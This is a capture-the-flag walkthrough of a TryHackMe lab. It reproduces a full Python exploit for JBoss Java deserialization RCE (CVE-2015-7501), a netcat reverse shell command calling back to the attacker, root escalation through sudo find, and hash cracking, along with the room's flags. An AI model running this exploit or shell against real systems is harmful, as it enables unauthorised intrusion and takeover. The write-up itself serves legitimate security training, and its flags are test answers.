Tony_the_Tiger

Enumeration

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn 10.10.125.214
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-02 09:38 EDT
Nmap scan report for 10.10.125.214
Host is up (0.19s latency).
Not shown: 65518 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1090/tcp open  ff-fms
1091/tcp open  ff-sm
1098/tcp open  rmiactivation
1099/tcp open  rmiregistry
3873/tcp open  fagordnc
4446/tcp open  n1-fwp
4712/tcp open  unknown
4713/tcp open  pulseaudio
5445/tcp open  smbdirect
5455/tcp open  apc-5455
5500/tcp open  hotline
5501/tcp open  fcp-addr-srvr2
8009/tcp open  ajp13
8080/tcp open  http-proxy
8083/tcp open  us-srv

Nmap done: 1 IP address (1 host up) scanned in 13.75 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC -A -Pn -p 8080 10.10.125.214
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-02 09:36 EDT
Nmap scan report for 10.10.125.214
Host is up (0.17s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Welcome to JBoss AS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
| http-methods:
|_  Potentially risky methods: PUT DELETE TRACE
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.4 (95%), Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 8080/tcp)
HOP RTT       ADDRESS
1   186.66 ms 10.8.0.1
2   186.73 ms 10.10.125.214
```

```
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.89 seconds
```

Find Tony's flag

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger]
└─$ file be2sOV9.jpg
be2sOV9.jpg: JPEG image data, progressive, precision 8, 455x600, components 3
```

Use `strings` to extract the file to string → Get the flag

```
[REDACTED]
Xy(0
}THM{Tony_Sure_Loves_Frosted_Flakes}
'THM{Tony_Sure_Loves_Frosted_Flakes}(dQ
PtKN
A1rW
```

Exploit

Click on the `Download Task Files` button to download the file in the instruction

Check md5 hash to verify the downloaded file is the right one!

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger]
└─$ md5sum jboss.zip
ed2b009552080a4e0615451db0769f8b  jboss.zip
```

Unzip the file

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger]
└─$ unzip jboss.zip
Archive:  jboss.zip
   creating: jboss/
  inflating: jboss/credits.txt
  inflating: jboss/exploit.py
  inflating: jboss/ysoserial.jar
```

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger/jboss]
└─$ ls -l
total 54808
-rw-r--r-- 1 kali kali      885 Mar 16  2020 credits.txt
-rwxr-xr-x 1 kali kali     2320 Jul  2 09:50 exploit.py
-rw-r--r-- 1 kali kali 56112629 Mar 16  2020 ysoserial.jar
```

Read the content of `exploit.py` to understand what would it do

Exploit.py

```
#! /usr/bin/env python2

# DISCLAIMER:
# I (CMNatic) do not claim any credit for the following code, it is merely used for demonstration purposes on THM.
# All accredition is to the author https://github.com/byt3bl33d3r
#
#
# Jboss Java Deserialization RCE (CVE-2015-7501)
# Made with <3 by @byt3bl33d3r
# This code has been copied from the following:
# https://github.com/byt3bl33d3r/java-deserialization-exploits/blob/master/JBoss/jboss.py


import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

import argparse
import sys, os
#from binascii import hexlify, unhexlify
from subprocess import check_output

ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
ysoserial_path = None

parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (d
efault: http)')
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries curr
ent and previous directory)')

if len(sys.argv) < 2:
    parser.print_help()
    sys.exit(1)

args = parser.parse_args()

if not args.ysoserial_path:
    for path in ysoserial_default_paths:
        if os.path.exists(path):
            ysoserial_path = path
else:
    if os.path.exists(args.ysoserial_path):
        ysoserial_path = args.ysoserial_path

if ysoserial_path is None:
    print '[-] Could not find ysoserial JAR file'
    sys.exit(1)

if len(args.target.split(":")) != 2:
    print '[-] Target must be in format IP:PORT'
    sys.exit(1)

if not args.command:
    print '[-] You must specify a command to run'
    sys.exit(1)

ip, port = args.target.split(':')

print '[*] Target IP: {}'.format(ip)
print '[*] Target PORT: {}'.format(port)

gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections5', args.command])
```

```
r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)

if r.status_code == 200:
    print '[+] Command executed successfully'
```

First of all, note that the file was written by `python2` so it could not be executed by `python3` until you manually fix the file to the `python3` format. Type `-h` to view the use of the file

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger/jboss]
└─$ python2 exploit.py -h
usage: exploit.py [-h] [--proto {http,https}] [--ysoserial-path PATH]
                  target command

positional arguments:
  target                Target IP
  command               Command to run on target

optional arguments:
  -h, --help            show this help message and exit
  --proto {http,https}  Send exploit over http or https (default: http)
  --ysoserial-path PATH
                        Path to ysoserial JAR (default: tries current and
                        previous directory)
```

At the first time executing, it cause an error like this:

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger/jboss]
└─$ python2 exploit.py --proto http --ysoserial-path ysoserial.jar 10.10.125.214:8080 id
[*] Target IP: 10.10.125.214
[*] Target PORT: 8080
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Error while generating or serializing payload
com.nqzero.permit.Permit$InitializationFailed: initialization failed, perhaps you're running with a security manag
er
        at com.nqzero.permit.Permit.setAccessible(Permit.java:22)
        at ysoserial.payloads.util.Reflections.setAccessible(Reflections.java:17)
        at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
        at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:51)
        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Caused by: com.nqzero.permit.Permit$FieldNotFound: field "override" not found
        at com.nqzero.permit.Permit.<init>(Permit.java:222)
        at com.nqzero.permit.Permit.build(Permit.java:117)
        at com.nqzero.permit.Permit.<clinit>(Permit.java:16)
        ... 4 more
Traceback (most recent call last):
  File "exploit.py", line 63, in <module>
    gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections5', args.command])
  File "/usr/lib/python2.7/subprocess.py", line 223, in check_output
    raise CalledProcessError(retcode, cmd, output=output)
subprocess.CalledProcessError: Command '['java', '-jar', 'ysoserial.jar', 'CommonsCollections5', 'id']' returned n
on-zero exit status 70
```

Focus on this line:

```
Error while generating or serializing payload com.nqzero.permit.Permit$InitializationFailed: initialization faile
d, perhaps you're running with a security manager
```

It said the generating or serializing payload process is failed because we are `running with a security manager` → After a half hour researching for this, I found that the problem is the version of `jdk` is to high → I need to downgrade it!

First, check the current version of jdk is running:

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger/jboss]
└─$ java --version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 17.0.6 2023-01-17
OpenJDK Runtime Environment (build 17.0.6+10-Debian-1)
OpenJDK 64-Bit Server VM (build 17.0.6+10-Debian-1, mixed mode, sharing)
```

After that, check for the available version of `jdk` that I could install:

```
┌──(kali㉿kali)-[~]
└─$ apt-cache search openjdk
[REDACTED]
openjdk-11-dbg - Java runtime based on OpenJDK (debugging symbols)
openjdk-11-demo - Java runtime based on OpenJDK (demos and examples)
openjdk-11-doc - OpenJDK Development Kit (JDK) documentation
openjdk-11-jdk - OpenJDK Development Kit (JDK)
openjdk-11-jdk-headless - OpenJDK Development Kit (JDK) (headless)
openjdk-11-jre - OpenJDK Java runtime, using Hotspot JIT
openjdk-11-jre-headless - OpenJDK Java runtime, using Hotspot JIT (headless)
openjdk-11-jre-zero - Alternative JVM for OpenJDK, using Zero
openjdk-11-source - OpenJDK Development Kit (JDK) source files
openjdk-17-dbg - Java runtime based on OpenJDK (debugging symbols)
openjdk-17-demo - Java runtime based on OpenJDK (demos and examples)
openjdk-17-doc - OpenJDK Development Kit (JDK) documentation
openjdk-17-jdk - OpenJDK Development Kit (JDK)
openjdk-17-jdk-headless - OpenJDK Development Kit (JDK) (headless)
openjdk-17-jre - OpenJDK Java runtime, using Hotspot JIT
openjdk-17-jre-headless - OpenJDK Java runtime, using Hotspot JIT (headless)
openjdk-17-jre-zero - Alternative JVM for OpenJDK, using Zero
openjdk-17-source - OpenJDK Development Kit (JDK) source files
openjdk-21-dbg - Java runtime based on OpenJDK (debugging symbols)
openjdk-21-demo - Java runtime based on OpenJDK (demos and examples)
openjdk-21-doc - OpenJDK Development Kit (JDK) documentation
openjdk-21-jdk - OpenJDK Development Kit (JDK)
openjdk-21-jdk-headless - OpenJDK Development Kit (JDK) (headless)
openjdk-21-jre - OpenJDK Java runtime, using Hotspot JIT
[REDACTED]
```

So in my situation, the `11` version is the oldest that I can install (it might be `8` or `9` from the researching on the internet) → `sudo apt-get install openjdk-11-jdk` to install

After installation, I need to set the default path of `jdk` to the new one (`11`):

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger/jboss]
└─$ sudo update-alternatives --config java
There are 2 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                            Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-17-openjdk-amd64/bin/java   1711      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java   1111      manual mode
  2            /usr/lib/jvm/java-17-openjdk-amd64/bin/java   1711      manual mode
```

```
Press <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/lib/jvm/java-11-openjdk-amd64/bin/java to provide /usr/bin/java (java) in manual m
ode

┌──(kali㉿kali)-[~/TryHackMe/tonythetiger/jboss]
└─$ java --version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 11.0.17 2022-10-18
OpenJDK Runtime Environment (build 11.0.17+8-post-Debian-2)
OpenJDK 64-Bit Server VM (build 11.0.17+8-post-Debian-2, mixed mode, sharing)
```

Now, I execute the file again

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger/jboss]
└─$ python2 exploit.py --proto http --ysoserial-path ysoserial.jar 10.10.125.214:8080 id
[*] Target IP: 10.10.125.214
[*] Target PORT: 8080
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Command executed successfully
```

Ok! The command now executed successfully

Gain Access

Start the `Netcat Listener` on the local machine then execute the file with the command as a reverse shell payload

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
```

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger/jboss]
└─$ python2 exploit.py --proto http --ysoserial-path ysoserial.jar 10.10.125.214:8080 'nc 10.8.97.213 4444 -e /bi
n/bash'
```

After the `success` notification appear → Go back to the `Netcat` window and you would get connect to the target machine

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.97.213] from (UNKNOWN) [10.10.125.214] 34854
id
uid=1000(cmnatic) gid=1000(cmnatic) groups=1000(cmnatic),4(adm),24(cdrom),30(dip),46(plugdev),110(lpadmin),111(sam
bashare)
```

Because the exoploit file was written in `python2` → I'm afraid that the target system does not have the `python3` → Unusually, I use `python2` to export the shell with `pty`

```
python2 -c "import pty;pty.spawn('/bin/bash')"
cmnatic@thm-java-deserial:/$
```

Privilege Escalation → JBoss

Navigate to `/home` directory to list all the current user

```
cmnatic@thm-java-deserial:/$ cd home
cmnatic@thm-java-deserial:/$ ls
cmnatic  jboss  tony
```

There are 3 users currently. Because the requirement at **Task 6** require us to submit the flag of JBoss → The first user I choose to escalate is `JBoss` → Navigate to `jboss/`

```
cmnatic@thm-java-deserial:/home/jboss$ ls -l
total 4
-rw-r--r-- 1 cmnatic cmnatic 368 Mar  6  2020 note
```

With only `-l` flag, the `note` is the only one file that is **normally** visible → Read it!

note

```
Hey JBoss!

Following your email, I have tried to replicate the issues you were having with the system.

However, I don't know what commands you executed - is there any file where this history is stored that I can acces
s?

Oh! I almost forgot... I have reset your password as requested (make sure not to tell it to anyone!)

Password: likeaboss

Kind Regards,
CMNatic
```

Wow! This is a message from `CMNatic` send to `JBoss` user within the password as plaintext → Use it to become `jboss` with `su jboss`

```
cmnatic@thm-java-deserial:/home/jboss$ su jboss
Password: likeaboss

jboss@thm-java-deserial:~$
```

Now, it is a little bit tricky here! I need to add the `-a` flag to view all of the **hidden** files and folders in the current directory because it was hidden by `jboss` himself - check the `.bash_history` and you would find something like this:

```
jboss@thm-java-deserial:~$ ls -la
total 36
drwxr-xr-x 3 jboss   jboss   4096 Mar  7  2020 .
drwxr-xr-x 5 root    root    4096 Mar  6  2020 ..
-rwxrwxrwx 1 jboss   jboss    181 Mar  7  2020 .bash_history
-rw-r--r-- 1 jboss   jboss    220 Mar  6  2020 .bash_logout
-rw-r--r-- 1 jboss   jboss   3637 Mar  6  2020 .bashrc
drwx------ 2 jboss   jboss   4096 Mar  7  2020 .cache
-rw-rw-r-- 1 cmnatic cmnatic   38 Mar  6  2020 .jboss.txt
-rw-r--r-- 1 cmnatic cmnatic  368 Mar  6  2020 note
-rw-r--r-- 1 jboss   jboss    675 Mar  6  2020 .profile
jboss@thm-java-deserial:~$ cat .bash_history
touch jboss.txt
echo "THM{50c10ad46b5793704601ecdad865eb06}" > jboss.txt
mv jboss.txt .jboss.txt
exit
sudo -l
exit
ls
ls -lah
nano .bash_history
ls
cd ~
ls
nano .bash_history
exit
```

```
jboss@thm-java-deserial:~$ cat .jboss.txt
THM{50c10ad46b5793704601ecdad865eb06}
```

Privilege Escalation → root

Simply type `sudo -l` to view all the commands that could be run by user `jboss`

```
jboss@thm-java-deserial:~$ sudo -l
Matching Defaults entries for jboss on thm-java-deserial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jboss may run the following commands on thm-java-deserial:
    (ALL) NOPASSWD: /usr/bin/find
```

Research on GTFOBins and you will find the command to exploit the `find` service within `sudo` to become the `root` user

```
jboss@thm-java-deserial:~$ sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
```

Navigate to `/root` directory and get the flag inside `root.txt`

```
# cat root.txt
QkM3N0FDMDcyRUUzMEUzNzYwODA2ODY0RTIzNEM3Q0Y==
```

Use `bas64` to decode the string

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger/jboss]
└─$ echo "QkM3N0FDMDcyRUUzMEUzNzYwODA2ODY0RTIzNEM3Q0Y==" | base64 -d
BC77AC072EE30E3760806864E234C7CF
```

Copy the result string to CrackStation to crack the hash or you can paste it into another file and use `hashcat` instead.

```
┌──(kali㉿kali)-[~/TryHackMe/tonythetiger]
└─$ hashcat -m 0 root.txt ~/Downloads/rockyou.txt
hashcat (v6.2.6) starting
[REDACTED]
Dictionary cache hit:
* Filename..: /home/kali/Downloads/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

bc77ac072ee30e3760806864e234c7cf:zxcvbnm123456789

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: bc77ac072ee30e3760806864e234c7cf
[REDACTED]
```

The final flag to submit is on this line

```
bc77ac072ee30e3760806864e234c7cf:zxcvbnm123456789
```